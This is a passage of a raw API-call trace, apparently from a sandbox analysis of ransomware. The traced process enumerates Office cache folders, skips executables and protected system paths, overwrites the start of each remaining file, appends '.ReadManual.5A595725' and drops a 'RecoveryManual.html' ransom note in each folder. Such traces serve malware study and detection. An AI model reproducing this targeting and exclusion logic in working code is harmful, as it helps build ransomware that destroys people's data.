StrCmpIW (psz1="msi", psz2="msi") returned 0 [0176.569] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0176.569] lstrcpyW (in: lpString1=0x6ab922, lpString2="ExcelMUI.xml" | out: lpString1="ExcelMUI.xml") returned="ExcelMUI.xml" [0176.569] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="RecoveryManual.html") returned -1 [0176.569] StrStrIW (lpFirst="ExcelMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0176.569] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0176.569] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0176.569] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" [0176.569] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.ReadManual.5A595725" [0176.569] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.ReadManual.5A595725") returned 99 [0176.569] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=29723799349) returned 1 [0176.569] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0176.570] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0176.570] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1565) returned 1 [0176.570] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61d, lpName=0x0) returned 0x194 [0176.570] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0176.570] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.570] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0176.572] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0176.572] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61d) returned 0x2f0000 [0176.573] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0176.573] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=29724139939) returned 1 [0176.573] CloseHandle (hObject=0x194) returned 1 [0176.573] SetSecurityInfo () returned 0x57 [0176.575] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0176.575] CloseHandle (hObject=0x190) returned 1 [0176.575] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0176.575] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0176.575] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0176.575] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0176.575] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0176.575] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0176.575] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" [0176.575] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0176.575] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0176.575] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=29724422035) returned 1 [0176.576] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0176.576] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0176.576] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=2296) returned 1 [0176.576] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f8, lpName=0x0) returned 0x194 [0176.577] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0176.577] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.577] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0176.579] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0176.579] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f8) returned 0x2f0000 [0176.579] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0176.579] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=29724781283) returned 1 [0176.579] CloseHandle (hObject=0x194) returned 1 [0176.579] SetSecurityInfo () returned 0x57 [0176.579] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0176.579] CloseHandle (hObject=0x190) returned 1 [0176.579] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0176.579] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0176.580] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0176.580] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0018-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C") returned="{90140000-0018-0409-1000-0000000FF1CE}-C" [0176.580] lstrcatW (in: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0176.580] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0176.581] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned 67 [0176.581] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0176.583] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0176.583] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.583] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0176.583] lstrcpyW (in: lpString1=0x6ab922, lpString2="PowerPointMUI.msi" | out: lpString1="PowerPointMUI.msi") returned="PowerPointMUI.msi" [0176.583] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="RecoveryManual.html") returned -1 [0176.583] StrStrIW (lpFirst="PowerPointMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0176.583] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0176.583] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0176.583] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0176.583] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0176.583] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0176.583] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0176.583] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0176.584] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0176.584] CloseHandle (hObject=0x190) returned 1 [0176.585] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0176.585] lstrcpyW (in: lpString1=0x6ab922, lpString2="PowerPointMUI.xml" | out: lpString1="PowerPointMUI.xml") returned="PowerPointMUI.xml" [0176.585] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="RecoveryManual.html") returned -1 [0176.585] StrStrIW (lpFirst="PowerPointMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0176.585] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0176.585] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0176.585] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" [0176.585] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.ReadManual.5A595725" [0176.585] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.ReadManual.5A595725") returned 104 [0176.585] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=29725398689) returned 1 [0176.585] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0176.585] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0176.586] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1450) returned 1 [0176.586] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5aa, lpName=0x0) returned 0x194 [0176.586] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe0) returned 1 [0176.586] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.586] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0176.588] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0176.588] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5aa) returned 0x2f0000 [0176.588] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0176.588] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=29725679669) returned 1 [0176.588] CloseHandle (hObject=0x194) returned 1 [0176.588] SetSecurityInfo () returned 0x57 [0176.588] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0176.588] CloseHandle (hObject=0x190) returned 1 [0176.588] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0176.588] lstrcpyW (in: lpString1=0x6ab922, lpString2="PptLR.cab" | out: lpString1="PptLR.cab") returned="PptLR.cab" [0176.588] lstrcmpiW (lpString1="PptLR.cab", lpString2="RecoveryManual.html") returned -1 [0176.588] StrStrIW 